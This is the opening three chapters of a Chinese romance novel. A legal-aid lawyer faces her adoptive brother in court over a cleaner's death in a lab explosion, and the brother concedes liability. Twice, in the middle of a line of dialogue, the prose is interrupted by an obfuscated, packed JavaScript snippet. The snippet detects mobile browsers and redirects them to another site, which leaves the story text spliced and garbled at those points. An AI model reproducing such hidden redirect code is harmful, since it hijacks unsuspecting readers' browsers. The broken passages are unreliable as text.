《念念有词》 1. 第1章 “女士们,先生们,我们的飞机已经抵达北京首都国际机场,现在是当地时间上午6点35分,室外温度-1℃。感谢您选乘美国联合航空公司班机,祝您旅途愉快!” 落地广播中英文交替,透过音响传出来时,时予安刚从一场重复过无数次的梦魇里挣脱。 攥着薄毯的手指紧了又紧,她躺在座椅里,半阖眼,心悸地喘息。 飞机仍在滑行,空姐柔声提醒大家保持安全带扣好。 时予安平复着吐息,一下,两下,三下,直到心跳渐渐归位,她把眼罩从头顶撸下来,视野像一张徐徐显影的胶片,由模糊走向清晰。 照明灯早就亮了,白晃晃地打在脸上,照得痛苦和狼狈都无所遁形。 时予安抬手捋了把头发,发丝缠在指间,潮乎乎的。 她怔了怔,低下头,嘴角很轻地扯了一下。 又是这样。 等飞机停稳,旅客们陆陆续续起身,拿包的拿包,穿外套的穿外套,商务舱里一下子涌满了人声。时予安戴上帽子,抓起座位上那条羊绒围巾,一圈,两圈,严严实实裹住脖颈,然后背上挎包,跟着人流往外走。 十八个小时的长途飞行不是一般的累,踩上廊桥时,时予安腿肚子还是软的。她现下什么也不想,只盼着快点穿过这条狭长的通道,狠狠吸一口外面的冷空气。 “嗨,美女!”身后有人快步追上来,时予安偏过头,眼神询问怎么了? 男人拎着公文包,笑容殷勤,“我注意你好久了,看你一个人,也是来北京出差的?” 千篇一律的开场白,这些年时予安碰到太多回了,她没应声,只是静静看着他,等他说下去。 “冒昧问一下,你现在是单身吗?”男人说着凑近半步,动作有点突然,时予安几乎是本能地向后一撤,秀眉即刻蹙起来。 她很不习惯、甚至厌恶陌生男人靠这么近,正欲开口,一道意料之外的嗓音却先一步横插进来: “劳驾,借过。” 时予安脊背一僵,连带着呼吸都窒了半拍。她很快低下头,帽沿压得低低的,下巴完全埋进围巾里。 方才那声“借过”不是冲她说的,可那个声音她太熟了,哪怕混在廊桥嘈杂的背景音里听不清晰,她不用回头也能确认,是陈词。 两人擦肩而过。 穿堂风冷飕飕灌进来,激得时予安不受控制地打了个寒噤,她抬起头,看见陈词握着手机贴在耳朵边,背影很快消失在人流里。 时予安悄悄舒了口气,这才注意到先前搭讪那人正饶有兴致地盯着她。 “不是单身,我结婚了。”她干脆了当地回答。 “嗐,没事儿,结了婚也不耽误认识新朋友嘛,”对方像是自动屏蔽了她的拒绝信号,自顾自继续:“我是做投行的,目前在金德世晨工作,金德世晨你应该听说过吧,世界三大顶级投行之一。对了,你是做什么的?” “跟你一样,查户口的。”时予安耐心告罄,丢下这句话转身就走。 “哎——别着急走啊!”男人不死心地黏上来,“一会儿有空吗?机场旁边有家咖啡厅不错,不知道有没有机会请你喝一杯,就当交个朋友。” “没空,我要回家看孩子。” 对方脚步一顿,上下细细打量她一番,旋即摇头笑起来:“别开玩笑了,你这身材哪像生过孩子的。” 时予安心里一阵恶寒。 恰好手机嗡嗡响,时予安眼睛一亮,接起来的同时拇指飞快把音量键关到最小:“老公~~~” 两个声调硬是让她拐出了十八个弯,嗲得人起鸡皮疙瘩。 男人闻言有些意外地朝她看过来。 许归忆静默两秒:“……你中邪了?” “什么?宝宝又哭了?”时予安忧心忡忡:“你开免提,让我跟他说说话。” 许归忆:“我不管你是谁,给你三秒钟,赶紧从时念念身上滚下来!” “宝贝,我是妈妈呀!”时予安煞有介事地对着话筒温声细语:“想妈妈了没有?哎呦不哭不哭,妈妈在这儿呢,宝贝乖,听爸爸话,妈妈马上就到家了,给你带了好多新玩具哦。” 许归忆:“…………” “不用叫司机,我自己打个车回去就行……嗯,好,那就这样,老公我先挂啦,爱你么么哒!” 许归忆:“……我也爱你。” 挂掉电话,时予安没再废话,直接点开相册划了几下,然后把手机怼到那人面前,骄傲脸炫耀:“喏,我儿子,三个多月了,可爱吧?” 照片里的小团子肉乎乎的,咧嘴笑得欢实。 男人摸摸鼻尖,说了句“可爱”就讪讪走开了。 总算打发掉了,时予安一边发微信跟许归忆解释,一边排队过边检。 接机大厅今儿格外热闹,乌泱泱聚了一群半大姑娘,个个踮脚抻脖地朝到达口张望。听说有个挺红的流量小花从国外回来,这不,消息灵通的站姐大清早就带人在这儿候着了。 然而正主还没露面,人群里倒是先起了阵不大不小的骚动。几个站在前头的姑娘频频回头,目光像被什么勾住了,一个劲儿地往斜后方飘。 跟着她们看过去,是个身高腿长的年轻男人。 他穿着一身看起来就很有质感的衬衫西裤,白色袖口卷到手腕靠上一点的地方,露出一截清瘦凸起的腕骨,被冷白皮肤包裹着,很性感。 小姑娘们你碰碰我,我碰碰你,压着嗓子嘀咕: “快看那边,好帅!我能暂时爬个墙吗?” “戴着墨镜呢,能看出什么呀?” “哎呀,感觉!感觉懂不懂,人家气质在那儿摆着呢!” 不怪她们走神,那人长得确实打眼,搁人堆里一眼就能瞧见。他一个人站在立柱旁,腰背挺得很直,不玩手机也不乱看,就安静等着。虽说墨镜遮住了半张脸,可单瞧下半截:清晰的下颌、高挺的鼻梁,以及那股生人勿近的冷淡劲儿,就够让人琢磨一阵子了。 都说想掂量一个男人的家底,看他戴的手表准错不了——深蓝色表盘上碎钻星星点点,像摘了一小片星空扣在手上。 懂行的人悄悄咂舌:原来不光是个帅的,还是个不差钱的。 嗡嗡的议论声里,男人恍若未闻,依旧静立着,直到一声清脆的呼唤穿透嘈杂落入耳中。 “念念,这边!” 陈词肩膀动了下,墨镜往声源方向偏了偏,停驻大概三四秒,又若无其事地收了回来。 这个点儿,那丫头估计还赖在床上睡大觉呢,他正想着,一个扎马尾的女生红着脸走近,“不好意思,打扰一下。那个,可能有点唐突,请问您有女朋友吗?要是没有的话,我们可以加个微信吗?” “抱歉,”陈词开口前摘下墨镜,“已婚,不太方便。” “啊!这样子,”姑娘被婉拒了也不恼,大大方方道:“祝您和太太幸福!” “谢谢。” “老大!”有人喊了一声。 陈词闻声回头,肖秘书从人群里钻出来,一路小跑至他跟前,“对不住对不住!高架上出了起交通事故,堵得瓷实,您等着急了吧?” 陈词摇头:“没事,我也刚到。” 肖涛松了口气,问他累不累,陈词说:“还好,习惯了。” 肖秘书伸手去够他脚边那只银灰色行李箱:“车停B2了,我帮您拎着。” “不用。”陈词用手虚虚一挡,“我自己来。” 家教使然,陈词这人没什么老板架子,自己能动手的不爱劳烦旁人,肖涛跟他久了也知晓他这脾气,嘿嘿一笑,没再争。 他侧身引路,“老大,我天天盼星星盼月亮,可算把您盼回来了!” 陈词瞥他一眼,有些好笑:“盼我干什么,我又不是财神爷,回来就能给你涨工资。” “那不一样!”肖涛跟在他身边,话说得掏心窝子,“北京这边刚起步,事情又多又杂,没您坐镇,我心里老不踏实。您是不知道,湾区那边,Dennis恨不得一天八个电话跟我絮叨,变着法儿地想留您。说真的,我都怕您耳根子一软,真不回来了。” 他口中的Dennis是陈词大学同学,俩人同窗多年,毕业后合伙在硅谷鼓捣了一家科技公司——Zorya,主要研究无人驾驶。 陈词担任CTO,带领团队攻克算法难题,使得Zorya很快在圈子里打响名头,不过三年功夫就在纳斯达克上市,成为当年最受瞩目的科技股之一。 这几年Zorya市值噌噌上涨,如今都突破50亿美金了。公司但凡长眼睛的都看得出来,Dennis是打心眼儿里不想放陈词走。 行李箱轮子碾过地面骨碌碌响,陈词脚步未停,直到走近电梯口,才不紧不慢地应道:“说了会回来,就一定会回来。” 肖涛一怔,不知怎么,他突然有一种很奇怪的感觉,老大这话明明是对他说的,却又不像是说给他听的。 同一时间,T3航站楼另一端,许归忆快步穿过人群迎上时予安,上来就问:“感觉怎么样?有没有哪里不舒服?” 时予安摇头,“我没事。” 许归忆不信,抓起她的手一探,冰凉冰凉的。 “这叫没事?” 时予安“哎呀”一声,讪笑着把手抽回来揣进兜里,“不要老是拆穿我嘛。” 许归忆瞪着她没吭声。 闺蜜多年,时予安有多打怵坐飞机,她比谁都清楚。当年那起意外发生后,时予安就患上了飞机恐惧症,最严重的那段时间她甚至连“飞机”两个字都听不得,对别人来说稀松平常的飞行,搁她身上跟渡劫没什么区别,因此她宁愿花十几个小时搭高铁、火车,也不愿意踏进机舱半步。 是什么让她咬着牙关、忍着心悸也要飞这一趟?许归忆知道原因,正因为知道,所以更加心疼。这会儿看着她为了短短两小时的停留,硬生生扛了四十多个小时的往返折腾自己,许归忆心里那股憋了好几天的闷气又拱了上来。 她忍了又忍,到底没忍住,“时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025677|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念念,你是不是疯了?明知道自己什么情况,还敢这么来回折腾,你当旧金山是你家后院啊,说去就去,说回就回!” “嘘——”时予安一听这语调就知道要完蛋,赶紧挽住许归忆胳膊,“公共场合,仙女请注意形象。” 许归忆被她半拉半拽地往停车场走,当然过程中嘴也没闲着:“形象?你还跟我谈形象?你先找面镜子照照你现在的样子吧。” 时予安眨眨眼:“我怎么了?” 许归忆说:“这脸白的,知道的你是去了趟旧金山,不知道的还以为你刚从地府爬出来呢。” “是吗?”时予安摸摸下巴,挺认真地问:“那我现在的脸色是不是还挺符合时下流行的那种……叫什么来着,破碎感?” “呦,还破碎感,当我夸你呢?”许归忆斜她一眼。 时予安笑着讨饶,“没有没有,先上车,上车再骂。” 黑色大G驶离机场,汇入早高峰的车流。时予安摘下帽子,随手扎了个松松的丸子头。 “准备好了没?”许归忆在开始前很有礼貌地问了一嘴,顺便把路上买的早饭递过去,豆浆、油条、小笼包,全是时予安爱吃的。 吃人嘴短拿人手软,时予安接过袋子,眼神坚毅得像是要上战场,“准备好了,你骂吧!” 她都这么讲了,许归忆也不跟她客气,一边看路一边输出:“我说大律师,你到底哪根筋搭错了,想做法援帮助别人我理解,也支持,可是中国这么大,那么多需要帮助的地方你不选,偏偏哪儿偏、哪儿苦、哪儿离北京十万八千里你往哪儿钻!一头扎进那山沟沟里,一待就是三个月,音讯时断时续,你知道我们多担心吗?” “好不容易等你项目结束,说要回来了,我们几个连接风宴的菜单都拟好了,结果呢,人影还没见着,你倒好,扔下一条短信转头飞旧金山去了。来回四十多个小时的越洋飞行啊姐姐!你知不知道我收到你短信的时候吓得心脏都快蹦出来了!” “而且你在那边才待了多久,满打满算也就两小时吧——” “两小时零五分钟。”时予安冷不丁插话,嘴里还含着半口包子。 许归忆被她这么一打岔,险些忘了下一句词:“……行,两小时零五分钟。你就待了两小时零五分钟又连夜往回赶,时念念,你真当自己是铁打的啊?” 仅仅为了两小时的停留时间在路上折腾四十多个小时,许归忆觉得不值,殊不知当初有人为了满足她任性的要求,这样来回奔波了四年,时予安垂着眼想。 “十一,我就是想去看一眼。”她小声道。 车里忽然安静。 半晌,许归忆语气软下来:“你啊,一旦认准了什么,十头牛都拉不回来。” 说好听点,叫执着,说难听点,就是死倔。人家是不撞南墙不回头,这姑娘是撞了南墙,还得再撞一下试试能不能把墙撞穿。 吃完早饭,时予安擦擦手,说:“我十点有个案子要开庭,咱们直接去法院吧。” 许归忆点点头,掩唇打了个哈欠,“你撑得住吗,两天没合眼了吧?” “别担心,我在飞机上补了一觉。”时予安看向她,“倒是你,天没亮就爬起来了吧。” “可不是,我五点钟就出门了,说真的念念,我高三都没起这么早过,也就是你,换了别人我才不伺候呢,这待遇我老公都没享受过。” 说曹操曹操到,中控屏幕跳出“天下第一好”的来电显示,许归忆按下接听,江望略带沙哑的嗓音传出来:“宝贝儿,大清早的你人呢?” 许归忆还没回答,就见时予安朝她使了个眼色,许归忆秒懂,配合地闭上嘴巴。 “金德世晨的江总是吧?”时予安压低嗓子,刻意让声音听起来粗粝些,“你太太现在在我手上,想救人的话带赎金过来。” 电话那边瞬间静了,车里两人清楚地听见江望倒抽一口凉气的声音:“你要多少?” 死寂两秒。 “哈哈哈哈哈哈!” 江望:“???” 时予安倒在座椅里乐得不行。 这么低级的恶作剧都能成功,许归忆觉得离谱:“三哥你睡糊涂了吧,连念念的声音都听不出来了?” 江望:“…………” 真不怪他反应过度,任谁一早醒来发现枕边人不见了踪影,打电话过去又听到“赎金”这种词,大脑都得宕机一阵子。 “时、予、安!”江望咬牙切齿地说:“你行,你真行!一回来就耍我是吧?” “拜托,谁能想到你这么好骗啊。”时予安还在笑,其实她心里清楚,哪里是江望好骗,左右不过四个字,关心则乱罢了。 “你就笑吧,”江望懒得跟她斗嘴,“说正事,词哥回来了,你俩知道吗?” “词哥回来了?”许归忆有些意外,“他没在群里打招呼啊,你怎么知道的?” “我看见新闻了,都上热搜了,他和杜乐瑶一块回来的。”江望道。 这下时予安笑不出来了。 2. 第 2 章 许归忆手把着方向盘,偷觑时予安。 她刚拉黑几个还想纠缠的前任微信,听了江望的话切到微博。 热搜上挂着【杜乐瑶恋情】的词条,有个大V爆料称,前不久杜乐瑶赴美陪伴神秘男友,两人今日并肩返京,在停车场热聊疑似恋情曝光! 配图是杜乐瑶和一男子站在车边交谈的画面。 许归忆趁着红灯迅速瞥了一眼,忍不住吐槽:“这图糊的,也看不出是词哥啊。” “是他。”时予安望着窗外飞速倒退的街景,轻声:“我在机场看见他了。” “你看见了?那……你俩没打招呼?” “没,不想让他知道我去了旧金山。”时予安说。 看着她郁闷的样子,许归忆心里也不好受,她故作轻松地换了个话题:“对了念念,你新谈的那个男朋友叫什么来着,姓苏的那个。” “苏洋。” “对,苏洋。这回是不是谈了挺久的,有三个多月了吧?过两天给词哥接风要不要叫上他一块?”许归忆试探地问。 “不是男朋友,”时予安纠正,“是前男友。” “啊?”许归忆一愣,“又分啦?什么时候的事?” “早就跟他说了。”提起苏洋,时予安显得有些烦躁,“他一直不同意,说什么不接受微信分手,让我当面和他讲清楚,麻烦死了。” 要知道,时予安找男友向来就两个标准:太专一的不要,玩不起的不要。就是怕甩的时候拖泥带水,没想到还是翻车了。 “他这话倒也没说错,分手是该正式点,当然,我不是说他做得对哈,”许归忆话锋一转,“大老爷们儿分个手还磨磨唧唧的,爽快点答应,好聚好散多好。” 时予安嘟囔:“他说我欺骗他的感情,是渣女。” 许归忆不赞同,“骗感情总比骗钱好吧?” “他还说我当初跟他在一起是无缝衔接。” “啧,少见多怪,美女哪有空窗期。” 时予安一下子笑出来,转回脸来看闺蜜,“十一,你说实话,天天看着我这么折腾,谈一个分一个,没一次长久的,你是不是偶尔也觉得我挺渣的,想骂我?” “骂你干什么,你是谈了五个,又不是一个人谈五次。”许归忆理所当然道。 时予安生得漂亮,而且是那种带着点天真懵懂、没什么攻击性的漂亮,说白了,就是看着挺好骗的,这样的女生不可能缺追求者,她也总是很容易开始一段新恋情,从西装革履的精英才俊到特立独行的艺术新秀,类型五花八门。但奇怪的是,这些恋情往往昙花一现,短则几周,长不过俩月,她就会干脆利落地抽身离开,毫不留恋。 那又怎么样? 许归忆向来帮亲不帮理,“念念你记住,只要你不叛国,我永远无条件站在你这边!” “天呐十一,你也太溺爱我了吧!”时予安心里又热又涨,高呼“世界上不能没有好朋友!” 车行平稳,引人入眠。 两小时后,黑色商务车缓缓停靠在路边。陈词眯眼望向窗外那幢庄严肃穆的建筑,问:“这是哪儿?” 他刚睡醒,声音里还带一点沙哑,肖涛恭敬回答:“人民法院。” 好家伙,这要放以前陈词打死也想不到,有朝一日一觉醒来,自己居然被直接送到了法院! “为什么来这儿?”陈词语气凉飕飕的。 肖涛脑子“嗡”地一响,一个可怕的念头蹦出来,吓得他顿时话都说不利索了,“为、为、为什么来这儿,难道Dennis没告诉您吗?我以为您知道!!” 陈词想起临行前Dennis提到的“惊喜”,眸色转深。他朝肖涛伸出手,后者会意,忙不迭递上手机。 “嘟——嘟——嘟——” 无人接听。 陈词阴沉着脸,第一万次后悔自己交友不慎!!! 老板越安静,肖涛越心慌,短短半分钟已经出了一脑门子汗。他偷偷从后视镜里瞥了一眼,陈词下颌线绷得紧紧的,不知道在琢磨什么。 时间一分一秒过去,五分钟后,肖涛实在受不住这份煎熬,眼一闭心一横,豁出去了,“老大,快到开庭时间了,要不然,咱们先进去?” 陈词沉默望向窗外。 视线所及处停着一辆黑色大G,车门“砰”地一响,跳下来个姑娘。 黑大衣,牛仔裤,白板鞋,整个人清爽又干净。 他今天没戴隐形,模模糊糊地看着她朝车里使劲挥了挥手,转身“噔噔噔”跑上台阶,步子迈得又急又快,三步并作两步往上蹿,脑后那颗不安分的丸子头也随着动作一颠一颠的。 陈词远远瞧着,都能感受到她身上那种青春蓬勃的生命力,这让他不由自主地联想到了家里的某个小祖宗。 破天荒地,他多瞅了两眼。 “老大?”肖涛小心翼翼地又唤了一声。 那人很快闪进法院大门,陈词收回目光,低头理了理袖口,“我穿这身进去可以?” 肖涛见他总算开了金口,连忙狗腿子地点头附和:“可以可以!非常可以!老大您这相貌,这身材,就是披麻袋都好看!” 陈词没接这话茬,但嘴角是上扬的,“那就走吧。” 他推门下车,动作潇洒利落,肖涛跟在后头偷着乐,他家老大面上看着高冷难测,其实偶尔也有些孩子气,顺毛捋准没错。 他之所以能在陈词身边待这么多年,除了专业素养过硬,还因为他深谙此道。毕竟老话说得好,千穿万穿,马屁不穿。 上台阶时,肖涛抓紧时间汇报案件情况。陈词听完,问:“既然是鸿一的案子,我以什么身份出庭?” “老大您忘了,前两周您提交了工商变更登记,审核已经通过了,国内工商系统也更新完了,所以现在从法律上讲,您就是鸿一科技的正式法定代表人。” 听他这么一说,陈词才隐约想起是有这么一档子事。 “鸿一现在什么情况?”他问。 肖涛答:“按您的意思,鸿一收购完成后,原先那套管理班子没大动,张志文还任总经理,李跃衡管财务。对了,今天陪您一同出庭的是鸿一的法务总监,郑伟律师。” “对方律师是谁?” “这我不太清楚,听说是个独立执业的,没挂靠大所。” 陈词点点头。他本就是随口一问,也没指望能得到什么答案。 *** “时律师,早!”郑伟去休息室的路上与时予安打了个照面。 时予安略一颔首,客气地回了声“早”。 她脚下没停,摆明了不想理他,郑伟却很没眼力见儿地侧身跟了上来,与她并肩往前走:“我们还真是有缘分,又在这儿碰上了。” 呸呸呸!真能往自己脸上贴金,时予安在心里疯狂吐槽,面上仍保持着职业微笑,“郑律师说笑了,都是工作。” 郑伟继续搭话:“其实这事吧,没多复杂,要我说真没必要闹到法庭上来,您也知道,诉讼程序一走,没个小半年下不来,费时又费力。眼下对您那位当事人来说,早点拿到钱好安安稳稳过日子才是最要紧的,您说是不是这个理?” “我们也不想把事情搞复杂,”时予安语气平静:“但事故发生后,巩建家属主动上门找了不下十次,连个能给句准话的负责人都见不着,没办法,走到今天这一步,还要多谢贵公司一次次关上了协商的大门。” “我们公司前期处理是有些不到位的地方。”郑伟搓了搓手,做出为难状,“但这不还有咱们律师在中间协调嘛,关键是,看咱们双方能不能都稍微变通一下。” 听出他话里的弦外之音,时予安终于停下脚步,正眼看他:“变通?怎么个变通法?” 郑伟环顾四周,确认走廊无人,才凑近半步压低嗓子:“时律师是聪明人,像这种人身损害案件,赔偿数额弹性很大。您那位当事人,大字不识几个的农村妇女,哪里懂什么法律呢?还不是您怎么说,她就怎么信?要是您愿意帮着做做思想工作,劝她把诉求金额往下降一点,比如减个四五十万,我们这边可以单独给您这个数的辛苦费。” 郑伟伸出两根手指晃了晃,又迅速收回去。他心里盘算得很清楚,鸿一虽说被响尘科技收购了,可那位神秘的新老板人还在美国,天高皇帝远的,他想管也鞭长莫及。退一万步讲,就算他回来了,一个搞技术出身的海归,哪会过问这种不起眼的小官司?公司日常事务向来是张经理说了算,法务和财务两条线早已串通好,这种事他们操作过不止一次,从没出过岔子。 “我听说您一直没找到固定工作,八万块,抵得上您小半年辛苦钱了吧?何必为了个不相干的人跟钱过不去呢?” “八万啊……”时予安若有所思地重复,指尖在怀里的文件夹上轻轻点了点。 郑伟以为她动了心思,趁热打铁:“怎么样,时律师?方便的话,等庭审结束,我们就可以——” “我觉得不怎么样。”时予安忽然笑了,笑得明艳,却也锋利:“不好意思郑律师,您可能不太了解我,我这人什么都不缺,尤其——不缺钱,更不缺这种脏钱。” 郑伟脸色“唰”地变了,“时予安,你别不知好歹!鸿一背后是谁在撑腰,你掂量过吗?作为同行,我好心提醒你一句,犯不着为了个法援案子,得罪不该得罪的人。” “鸿一背后是谁,我不知道,也不关心。我只知道您刚才这番话,我要是录了音,往律师协会和司法局一递,您猜,您的律师证还能保多久?” 郑伟瞳孔一震。 时予安弯唇笑笑:“别紧张,我没带录音笔。” “你!”郑伟气急败坏地看着她:“你装什么清高,这世上谁会跟钱过不去?那家人跟你非亲非故的,我不明白你这么卖力图什么?” “你不明白的事情海了去了,我没工夫,也没义务一件一件教你!”时予安声音彻底冷了下来,“是非对错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025678|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自有法律评判,郑律师,咱们法庭上见吧。” 说完,她径直走进休息室,“砰”地一声带上门。 郑伟在原地杵了几秒,掉头回去。 推开门的刹那,他突然瞪大眼睛,不敢置信地看着沙发上那个一身西装气质高贵的男人。 肖涛起身介绍:“郑律师,这位是我们响尘科技的陈总。” 陈总? 他居然回来了! 他回国了不是应该直接去公司听汇报吗?怎么会出现在这里?! 郑伟脑子里一团乱麻。他千算万算,没算到这位新老板会亲自出庭。 “陈、陈总好。”他勉强挤出一个笑容。 陈词抬眸,目光淡淡扫过他,那眼神平静无波,却让郑伟觉得仿佛有座山无声无息地压了下来。 开庭前十五分钟,时予安坐在长椅上最后一次翻阅案卷。 巩建,男,50岁,鸿一科技有限公司保洁人员。为了给家里即将高考的儿子攒大学学费,他与妻子从河南农村来北京打工,每天起早贪黑,挣得都是辛苦钱。 不料今年五月十三日下午,鸿一实验室突发爆炸,巩建当时正搁里头擦拭仪器,轰的一声,直接把人烧成了重伤,送医院没救回来。巩建妻子刘桂芬半年里往鸿一公司跑了十几趟,不是被前台晾着,就是被一句“领导正在开会”轻飘飘打发了回去。她一个农村妇女,不懂法,也没钱请律师,最后经人介绍,才颤巍巍地走进法律援助中心。 时予安点着“保洁人员”那几个字,眼前浮现出那个憨厚的中年男人在实验室工作的画面,他一定很小心,生怕碰坏了那些他叫不上名字的昂贵设备。 时予安合上案卷,闭眼吐了口气。 这是她独立接办的第十八个法援案件,也是目前为止最让她憋火的一个。 明明责任清晰,对方却仗着老百姓不懂法律程序,就死命拖、拼命压,这种做派,简直把“欺软怕硬”写在了脸上。 时予安嫉恶如仇,听说今天鸿一科技的负责人会亲自出庭,她磨了磨后槽牙:好啊,姑奶奶我倒要看看,到底是哪个黑心老板坟头跑火车,缺德带冒烟! 墙上的钟指向九点五十,时予安对一旁紧张得手脚都不知道往哪放的女人温声道:“刘阿姨,时间差不多了,我们准备进去吧,甭紧张,咱们占着理呢。” 刘桂芬哑着嗓子重重“哎”了两声。 与此同时,陈词一行人也在向同一地点靠近。 两队人马在转角处交汇,陈词和时予安几乎是在同一时间看见了对方。 “轰隆——” 头顶炸开一记响雷,霹得时予安人都傻了。 迎面走来三人,左边的是郑律师,右边的不认识,而中间那位,则是与她朝夕相处了十多年的男人,化成灰她都认得出来! “不会吧不会吧不会吧——”时予安耳朵里有个声音在疯狂叫嚣,她突然意识到一个严重的问题。 黑心公司居然是陈词的公司! 黑心老板居然是陈词!! 天,这都什么事啊!!! 突如其来的重逢打得时予安措手不及,陈词显然也看见了她,神情带着几分少见的惊讶:“念——” 红色木门打开,时予安转身就走。 她当时走得有多快呢? 快到陈词连和她打声招呼的时间都没有,即将脱口而出的那声“念念”硬生生哽在喉间,上不去也下不来。 陈词看着她匆匆离开的背影,怔了两秒,随即轻轻挑了下眉梢。 没多久各方人员相继入场,时予安机械性地帮刘桂芬拉开椅子,陈词缓步走进来,在正对面的被告席坐下。 法庭静悄悄的,忽然有人咳嗽两声,时予安听见动静抬头看了一眼,正好对上陈词的眼睛,只一秒,她立刻像被烫着似地错开视线。 她怎么也想不到,两人再次见面竟然是在法庭。昔日统一战线的两人如今坐在对立面,她是原告的代理律师,他却成了被告代表。 事情怎么会变成这样?时予安想不通。 书记员已经开始宣读法庭纪律,时予安强迫自己集中精神去听,可耳朵里嗡嗡的,左边是刘桂芬压抑的抽泣声,右边是陈词偶尔翻动纸页的轻响,两股声音撕扯着她,让她如坐针毡。 “咚!” 法槌敲响,宣告庭审正式开始。 审判长例行询问双方对出庭人员有无异议,时予安深吸一口气起立:“审判长,我申请自行回避,并请求退出本案的代理工作,请法庭准许。” 话落,坐她旁边的刘桂芬错愕扭头看向她,“时律师……你这是什么意思,你不管我了吗?” 审判长问:“理由是什么?” 时予安能感觉到对面有道目光正落在自己身上,她垂下眼,盯着桌面木纹。 “被告代表陈词先生,我与他是法律上的兄妹关系。”时予安顿了一下,一字一句道:“他是我哥。” 3. 第 3 章 他是我哥。 此话一出,跟点了炮捻似的,炸得满堂耳朵嗡嗡直响。郑伟惊得眼珠子都快瞪出眶了,就连肖秘书这种自诩见过大风大浪的,表情都足足空白了一分钟。 那姑娘刚刚说什么? 老大是她哥哥? 不是表哥,不是堂哥,是哥! 那她不就是老大亲妹妹?! 妈呀,亲兄妹搁这儿唱对台戏,这是什么狗血八点档剧情! 肖涛满心震撼地捂住嘴,偷瞄时予安。 他早前在美国时听Dennis提过,陈词不是独生子,家中还有个妹妹,但他听归听,从没见着过真人。今日一见,果然是一家人,相貌都是一等一的出挑。 而在一屋子人里头,最受冲击的还得数刘桂芬。“他是我哥”四个字,哐哐哐砸碎了她最后一道心理防线。 她呆呆望着时予安,过几秒,僵硬地扭头看向被告席上那个陌生的英俊男人,再转回来时,她的眼神已经变了,里面充满了被背叛的愤怒,叫时予安惭愧。 审判长跟合议庭的几位低声商量片刻,准了时予安的回避申请,宣布休庭十五分钟。 休息室的门刚合上,刘桂芬“啪”一下攥住时予安手腕,力气大得惊人。时予安被掐得生疼,听她哭着质问:“时律师,你和他……你们竟然是一家人!你从头到尾都在骗我是不是?你根本就没想帮我打赢这场官司,你们合起伙来糊弄我!” 乍闻两人的关系,刘桂芬一时半会儿难以接受。不光她接受不了,时予安到现在也还懵着呢。接这案子之前她明明查过鸿一公司的法人代表,那时候根本不是陈词!鬼知道他什么时候空降过去的! 命运不讲道理,大手一挥,泼了她一盆狗血。 “刘阿姨,我不是存心要瞒您。”时予安反握住那双粗糙的手掌,耐心解释:“我也不知道鸿一的法人代表什么时候换成了我哥。我现在申请回避,正是因为要对您负责,不能因为我的个人关系影响案件的公正审理,这官司,咱们得干干净净地打。” 她一字一句说得诚恳坦荡,可刘桂芬早已被绝望淹没,哪里听得进去?只见她腿一软,蹲在地上捂着脸哭了起来。 按理说碰上这种情况,审判长会询问原告需不需要延期审理以便重新委托律师,可眼瞅着年底就要到了,法院积压的案子本来就多,真要延期,下次开庭指不定等到猴年马月,刘桂芬等不起,巩家老小更等不起。 对面若是旁人倒也罢了,可对面是陈词……时予安综合考虑之后,建议刘桂芬自行诉讼。 “对不住刘阿姨,接下来的庭审恐怕得靠您自己了。”时予安瞥了眼挂钟,趁还有时间,她稳着声安抚:“咱不延期,您自己上。您放心,所有要用的材料我都给您整理好了,就在您手边那个文件夹里。待会儿上去,您什么也不用想,把事实经过一五一十地说清楚,然后把咱们准备好的证据一份份递给审判长看,您的任务就完成了,好吗?” “我自己?不不不,我不行……”刘桂芬一个劲儿地惶恐摆手,“我哪儿会打官司啊……” “别怕。您要是同意,我会申请在旁听席陪着您。您要相信自己,也请您最后相信我一次,”时予安顿了顿,俯身凑到刘桂芬耳边小声说了句作为律师本不该、也不能说的话:“我给您打包票,这笔赔偿款,您今天一定能顺顺利利拿到。” 没有哪个正在打官司的当事人经得起这句话的诱惑,刘桂芬泪眼婆娑地望着她,嘴唇动了动,“……真的?” “真的,我保证。” 或许是时予安的眼神太坚定了,令她感到信任,刘桂芬挣扎半天,终于点了点头。 再次开庭,刘桂芬颤巍巍地独自坐上原告席,当审判长问她是否申请延期时,她紧张得几乎说不出话,张了好几次嘴才挤出声音:“不、不延期,我自己来。” 审判长颔首,刚要进入法庭调查阶段,一直沉默端坐的陈词站了起来。 “审判长。” 所有人朝他看来,包括旁听席上的时予安。 陈词的目光在那位惊惶无助的妇人身上短暂停留半秒,随即转向审判席,沉稳开口:“基于我方在本次开庭前对本案所有证据及事实的最终确认,我方承认,巩建先生在我司实验室爆炸事故中不幸身故,我司对此负有不可推卸的责任。对于原告提出的各项赔偿诉求,我方不再持有任何异议,同意全额赔付。” 峰回路转,全场死寂。 时予安紧握的拳头在这一刻终于缓缓地、一根手指一根手指地松开。陈词转过脸来,两人对视一眼,彼此心照不宣。 原告席上,刘桂芬呆愣愣地坐着,像是没听懂,又像是听懂了却不敢相信。过了好一会儿,刘桂芬反应过来,突然“哇”一声哭了出来,那是长久绝望后终于得见曙光的崩溃宣泄。 完了。郑伟眼前发黑,满脑子只剩下这两个字。他想起开庭前对时予安说过的那些话,悔得肠子都青了。 